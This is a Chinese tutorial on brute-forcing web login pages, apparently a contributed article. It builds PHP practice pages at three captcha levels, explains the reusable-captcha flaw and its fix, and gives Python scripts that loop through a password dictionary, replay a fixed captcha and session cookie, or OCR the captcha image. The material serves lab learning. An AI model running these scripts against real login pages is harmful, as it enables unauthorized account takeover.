免责声明:本文所用所测试的环境均为自己搭建并提醒小伙伴们切勿对未授权的系统进行测试。
本文原创作者:3s_Nwgeek
原创投稿详情:重金悬赏 | 合天原创投稿等你来!
暴力破解,顾名思义,就是不断使用不同的账号和密码去猜测,猜测到成功为止,以达到目的猜测出真实密码。举个例子说,web应用中常常存在一些登陆页面,只要web应用中对尝试登陆次数没有限制,或者没有足够强大的人机识别(验证码)的话,就可以进行暴力破解,本文主要涉及web应用上登陆的暴力破解。如下图:
本文将从如何搭建测试环境到源码解释,再结合python对不同难度的测试页面进行编写python代码进行暴力破解。
目录
一、PHP编写暴力破解测试页面
二、Python编写不同等级的暴力破解脚本
三、暴力破解的延伸-机器学习
一、PHP编写暴力破解测试页面
搭建的暴力破解练习环境,为了对新手更加地友好又更方便更快捷更好地理解其中的原理,我们只需要使用php写几个页面就就可以完全真正地模拟登陆的过程,化繁为简,不需要搭建数据库等繁杂步骤。
而web登陆暴力破解的测试页面分为三个等级,第一个是没有验证码的页面,第二个是有验证码,但是以我的渗透经验,还是比较多系统存在没有在后端校验验证码使用一次后失效,所以是可以重复使用的。第三种,是有图形验证码,后端校验一次使用失效,所以可以使用python进行验证码的图形识别,随着人工智能的热度上升,图像识别这一分领域也渐渐被人们所关注。
有些不懂php的小伙伴也可以借次机会学习一波php。
1.1
验证码页面部分
<?php
session_start();
header("Content-type:image/PNG"); //提示用户生成PNG的图片文件
$im= imagecreate(60,25); //建一个基于调色板的图像
$back= imagecolorallocate($im, 245, 245, 245); //分配颜色
imagefill($im,0,0,$back); //图像填充
$vcodes= "";
for($i=0;$i<4;$i ){
$font=imagecolorallocate($im,0,0,0); /*rand()随机函数*/
$authnum=rand(0,9);//验证码的随机数
$vcodes.=$authnum;
imagestring($im,5,9 $i*10,5,$authnum,$font);
}
$_SESSION['VCODE']=$vcodes;
imagepng($im); //把图片输出到浏览器文件
imagedestroy($im); //释放图片资源
?>
得出来的验证码效果如下
1.2
暴力破解测试页面-low
为了使新手更简单易懂,源码的部分是一个表单post给一个php页面,形象一点也就是说在html页面填好账号密码,然后数据就会传给php来处理。
Html部分如下(标红为关键部分)
<!DOCTYPEhtml><html><head><meta charset="utf-8">
<title>暴力破解测试页面</title>
</head><body>
<divalign="center"><h1>暴力破解测试页面-low</h1></div>
<formaction="Loginl.php" method="post" name="form">
<fieldset>
<legend><b>请输入信息</b></legend>
<p>用户名:<inputtype="text" name="name" id="name"></p>
<p>密 码:<inputtype="password" name="password"id="password"></p>
<p><inputtype="submit" value="登录"></p>
</body></html>
标红的就使输入用户跟密码的地方,点击登陆后就会传输一个表单给php,http数据包就是我们平常所见到的样子如下。
POST/c/Loginl.php HTTP/1.1
Host:3s_Nwgeek.com
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101Firefox/55.0
Accept:text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type:application/x-www-form-urlencoded
Content-Length:25
Referer:http://3s_Nwgeek.com/c/low.html
Cookie:_ga=GA1.1.2137033511.1528941318; _gid=GA1.1. 775237944.1528941318
Connection:close
Upgrade-Insecure-Requests:1
name=admin&password=admin
php部分
<!DOCTYPEhtml><html><head><meta charset="utf-8">
<?php
session_start();
$pwd=$_POST["password"];
$name=$_POST["name"];
if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($name=="admin"&&$pwd=="1q2w3e4r")
{echo"登陆成功!!!";setcookie("user","$name",time() 3600);}
else{echo"登陆失败";}?>
</head></html>
$pwd=$_POST["password"];
$name=$_POST["name"];
这两句的意思使把刚才http数据包中传输过来的name=admin&password=admin定义为$name、$pwd这两个变量。
if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
这段使判断传输过来的变量是否为空,如果为空的话就终止执行。
if($name=="admin"&&$pwd=="1q2w3e4r")
{echo"登陆成功!!!";setcookie("user","$name",time() 3600);}
else{echo"登陆失败";}?>
这段是页面来判断登陆用户和密码是否正确,正确则使登陆成功,不正确则显示登陆失败。
1.3
暴力破解测试页面-medium
这个页面就使正常的登陆页面了。
Html部分如下(标红为关键部分)
<!DOCTYPEhtml><html><head><meta charset="utf-8">
<title>暴力破解测试页面</title>
</head>
<body>
<divalign="center"><h1>暴力破解测试页面-难度medium</h1></div>
<formaction="LoginMid.php" method="post"onsubmit="return judge();" name="form">
<fieldset>
<legend><b>请输入信息</b></legend>
<p>用户名:<input type="text" name="name" id="name"></p>
<p>密 码:<input type="password" name="password"id="password"></p>
<p>验证码:<input type="text" name="yzm" id="yzm">
<imgsrc="//img.17u1u.com/yzm.php" onclick="this.src= 'yzm.php?nocache=' Math.random()" style="color:white"></p>
<p><inputtype="submit" value="登录"></p>
</body></html>
<img>标签就是插入的验证码图片。
验证码的值是使用session来进行传递的。
$_SESSION['VCODE']=$vcodes;
关键代码如上。
php代码(标红为校验验证码关键部分):
<!DOCTYPEhtml>
<html>
<head>
<metacharset="utf-8">
<?php
session_start();
$pwd=$_POST["password"];
$name=$_POST["name"];
$yzm=$_POST["yzm"];
if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($yzm=="")
{die("验证码不能为空");}
if($yzm!=$_SESSION['VCODE']){
die("<script>alert('验证码错误!!');location='".$_SERVER['HTTP_REFERER']."'</script>");}
if($name=="admin"&&$pwd=="admin")
{echo"登陆成功!!!";setcookie("user","$name",time() 3600);}
else
{echo"登陆失败";
}
?>
</head></html>
因为每次登陆请求的确需要一个验证码,但是这个验证码在请求一次之后并没有发生改变,(有些在前端发送更改验证码的请求)但是如果请求不经过浏览器直接发送后端的话,验证码就一直不会改变了甚至可以重复使用了。
那么这个就是叫验证码无效的漏洞。
除了这个验证码无效这个漏洞,常见漏洞的还有1.验证码会返回在页面响应包里,2.更新验证码的请求里,3.验证码有规律地变化。
1.4
暴力破解测试页面-high
使用一次失效的验证码,只需要在php里面当验证一次验证码,重新定义一个随机数就可以了。其他基本跟上一个等级一致。
<!DOCTYPEhtml>
<html>
<head>
<metacharset="utf-8">
<?php
session_start();
header("Content-type:text/html");
$pwd=$_POST["password"];
$name=$_POST["name"];
$yzm=$_POST["yzm"];
if($name=="")
{die("用户名不能为空");}
if($pwd=="")
{die("密码不能为空");}
if($yzm=="")
{die("验证码不能为空");}
if($yzm!=$_SESSION['VCODE']){
die("<script>alert('验证码错误!!');location='".$_SERVER['HTTP_REFERER']."'</script>");}
if($name=="admin"&&$pwd=="1q2w3e4r")
{echo"登陆成功!!!";setcookie("user","$name",time() 3600);}
else
{echo"登陆失败";
$_SESSION['VCODE']=rand(0,9999999);//重新更改验证码
}
?>
</head></html>
修复验证码无效这个漏洞,只要增加这一行代码即可。原理是请求登陆一次,验证码就会重新定义为随机数,不再是原来的验证码,所以不能重复使用。
二、Python编写不同等级的暴力破解脚本
2.1
无验证码暴力破解的python脚本
第一种由于没有验证码,只需要使用requests模块来进行请求访问,使用bs4来判断登陆是否成功,附上代码:
#!/usr/bin/python
#-*- coding: UTF-8 -*-
# made by 3s_NwGeek
importrequests
frombs4importBeautifulSoup
defcrack(username='admin',password='1234566'): #定义一个暴力破解的函数
print'正在尝试账号:%s,密码:%s'%(username,password)#回显输出
url='http://3s_NwGeek.com/c/Loginl.php' #定义需要暴破请求的地址
datas={'name':'admin','password':password} #定义暴力破解的账号和密码
header={
'User-Agent':'Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'
} #定义访问数据包的请求头,因为如果有防护网站会限制ua
req=requests.post(url,datas,headers=header,) #发送请求
#print req.content
html=BeautifulSoup(req.content,"lxml",from_encoding="utf-8") #定义响应内容为html
res=(''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode('unicode-escape').encode('utf-8') #获取响应信息
printres
if'登陆成功'inres: #判断是否登陆成功
exit("密码为%s"%password)
if__name__== '__main__':
forpswinopen('F:\cybersec\\tools\\tools\kali\\self\psw.txt','r').read().splitlines():#暴力破解的字典
crack(password=psw)
pass
运行结果如下
可以暴力破解出账号的密码为1q2w3e4r
2.2
验证码无效的暴力破解的python脚本
而验证码无效这部分大致和上个一样,只不过要注意的是,先填一个验证码,还有要把cookie的值写到脚本里面,不然填对了验证码还是无法正常暴力破解。(标红为不同的地方),新增部分有注释。
#!/usr/bin/python
#-*- coding: UTF-8 -*-
# made by 3s_NwGeek
importrequests
frombs4importBeautifulSoup
RCode='4472'
defcrack(username='admin',password='1234566'):
print'正在尝试账号:%s,密码:%s,验证码:%s'%(username,password,RCode)
#cookie={'security': 'low' , 'PHPSESSID' :'2578vs7k8je98m8ev2iqeh4m66'}
url='http://3s_NwGeek.com/c/Login.php'
datas={'name':'admin','password':password,'yzm':RCode}
header={
'User-Agent':'Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'close',
'Cookie':'PHPSESSID=8k8it0j4c5nr5tummb32apkl45', #不带cookie验证码会无法使用
'Referer':'http://3s_NwGeek.com/c/Mid.html',
'Upgrade-Insecure-Requests':'1'
}
req=requests.post(url,datas,headers=header,)
#print req.content
html=BeautifulSoup(req.content,"lxml",from_encoding="utf-8")
res=(''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode('unicode-escape').encode('utf-8')
printres
if'登陆成功'inres:
exit("密码为%s"%password)
if__name__== '__main__':
#crack()
forpswinopen('F:\cybersec\\tools\\tools\kali\\self\psw.txt','r').read().splitlines():
crack(password=psw)
pass
如果没有填对验证码或者没有定义cookie的值会如下图报错。
而验证码和sessionid正确的时候是可以成功暴力破解的,如下图:
成功暴力破解出密码为1q2w3e4r
2.3
图形识别验证码暴力破解的python脚本
这个脚本跟第二个对比,主要多了一个识别验证码的函数,这个函数下载验证码图片返回一个字符型的验证码。新增部分有注释。
#!/usr/bin/python
#-*- coding: UTF-8 -*-
# made by 3s_NwGeek
importrequests
frompytesserimport*
frombs4importBeautifulSoup
fromPILimportImage,ImageEnhance
defgetCode(imgurl):
#try:
getimg= requests.get(imgurl, timeout=3)
path="C:\\3s_NwGeek\\bruteCodeRecognition\img\\temp.png" #定义图片路径
img= open(path,"wb ")
img.write(getimg.content) #下载图片
img.close()
IMG = Image.open(path) #定义IMG为图像类型
#code = image_file_to_string(path) # 图形识别验证码方法一
code= image_to_string(IMG)#图形识别验证码方法二
return code #返回验证码
defcrack(username='admin',password='1234566',code=''):
print'正在尝试账号:%s,密码:%s,验证码:%s'%(username,password,code)
url='http://3s_NwGeek.com/c/Login.php'
datas={'name':'admin','password':password,'yzm':code}
header={'User-Agent':'Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Connection':'close',
'Cookie':'PHPSESSID=86qpkgj3v52pdq7t2jlg6kfeg3',
'Referer':'http://3s_NwGeek.com/c/Mid.html',
'Upgrade-Insecure-Requests':'1'}
req=requests.post(url,datas,headers=header,)
#print req.content
html=BeautifulSoup(req.content,"lxml",from_encoding="utf-8")
res=(''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode('unicode-escape').encode('utf-8')
printres
if'登陆成功'inres:
exit("密码为%s"%password)
if__name__== '__main__':
#print RCode
imgurl='http://3s_NwGeek.com/c/yzm.php'
code=getCode(imgurl)
forpswinopen('F:\cybersec\\tools\\tools\kali\\self\psw.txt','r').read().splitlines():
crack(password=psw,code=code)
pass
验证码识别大致流程如下:
在登陆页面找出验证码的url,在浏览器里右键选中验证码,复制图片地址,尝试访问看是否验证码,访问一次变换一次。那么就可以使用requests这个模块把验证码图片下载下来,把这个图片使用PIL的模块定义为Image的类,装了pytesser模块后,进行验证码识别出字符,因为为了实验方便,此次验证码是没有干扰因子,省去了图像处理这一步(二值化和降噪),再根据这个验证码使用账号和密码进行登陆请求,暴力破解登陆一次,下载一次验证码进行图形识别一次,尝试到成功为止。
运行结果:
可以发现暴力破解成功。
三、暴力破解的延伸-机器学习
随着人工智能的热度上升,图像识别这一分领域也渐渐被人们所关注。图像识别中最贴近我们生活的可能就是OCR技术了。
从整体上来说,OCR一般分为两个大部分:图像处理以及文字识别。
因为现在的机器学习正在快速发展并逐渐成熟,前辈们已经造好了不少的轮子,我们只需要简单的编程知识,去使用他们的轮子就可以了,已经有很多的开源解决方案来进行机器学习。程序员已经不需要了解复杂的数学原理,使用已经封装好的模块就可以达成预期效果了。
附上大佬开源的项目:
https://github.com/zhengwh/captcha-svm
当看到大佬概述的时候这个是初级入门的方法的那一刻,泪都流了下来,的确学习任重而道远,路长漫漫。
给大家标红划好重点了,svm识别是入门,还有更高深的CNN卷积神经网络可以解决这个问题。
将会在暴力破解测试入门到放弃(下)详细从环境搭建到获取图片、图片处理、训练数据集、生成识别等过程整理出来。
(注:本文属于合天原创投稿奖励,未经允许,禁止转载!)
Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved